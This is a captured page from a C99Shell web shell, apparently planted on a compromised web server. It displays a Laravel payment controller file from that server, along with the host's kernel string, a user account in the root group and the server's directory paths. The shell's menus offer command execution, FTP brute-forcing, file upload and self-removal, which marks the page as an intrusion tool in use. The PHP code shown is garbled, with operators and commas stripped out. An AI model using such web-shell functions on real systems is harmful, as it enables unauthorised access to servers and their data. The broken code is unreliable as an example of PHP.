!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Payment/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FreePlanPurchaseController.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Payment;

use 
App\Http\Controllers\Controller;
use 
App\Http\Traits\PaymentTrait;
use 
App\Models\Transaction;
use 
App\Notifications\MembershipUpgradeNotification;
use 
Illuminate\Http\Request;
use 
Modules\Currency\Entities\Currency;
use 
Modules\Plan\Entities\Plan;

class 
FreePlanPurchaseController extends Controller
{
    use 
PaymentTrait;

    
/**
     * check user is authenticated
     *
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware('auth');
    }

    
/**
     * check user is authenticated
     *
     * @return void
     */
    
public function purchaseFreePlan(Request $request)
    {
        
$plan Plan::findOrFail($request->plan);

        if (
$plan->price == 0) {

            
$user auth()->user();

            
// check free plan already buy
            
$already_purchase $this->checkAlreadyPurchase($plan$user);
            if (
$already_purchase) {
                
flashWarning(__('you_have_purchased_this_free_plan_cant_buy_it_again'));

                return 
redirect()->back();
            }

            
$this->cancelSubscriptionPlan();
            
$this->userPlanInfoUpdate($plan$user->id);
            
$this->makeTransaction($plan);

            
storePlanInformation();
            
$this->forgetSessions();

            
// create notification and send mail to customer
            
if (checkMailConfig()) {
                
$user auth('user')->user();
                if (
checkSetup('mail')) {
                    
$user->notify(new MembershipUpgradeNotification($user$plan->label));
                }
            }

            
flashSuccess(__('plan_successfully_purchased'));

            return 
redirect()->route('frontend.plans-billing')->send();
        } else {
            
flashWarning(__('its_not_a_free_plan'));

            return 
back();
        }
    }

    public function 
makeTransaction($plan null$amount 0$payment_type 'subscription_based')
    {
        if (isset(
$plan) && isset($plan->price)) {
            
$amount $plan->price;
        }

        
$fromRate Currency::whereCode(config('templatecookie.currency'))->first()->rate;
        
$toRate Currency::whereCode('USD')->first()->rate;
        
$rate $fromRate $toRate;

        return 
Transaction::create([
            
'order_id' => uniqid(),
            
'transaction_id' => uniqid('tr_'),
            
'plan_id' => $plan->id,
            
'user_id' => auth()->id(),
            
'payment_provider' => 'offline',
            
'amount' => $amount,
            
'currency_symbol' => config('templatecookie.currency_symbol'),
            
'usd_amount' => $amount $rate,
            
'payment_status' => 'paid',
        ]);
    }

    public function 
checkAlreadyPurchase(object $planobject $user): bool
    
{
        
$order Transaction::where('user_id'$user->id)->where('plan_id'$plan->id)->where('amount'0)->first();
        if (
$order) {
            return 
true;
        } else {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--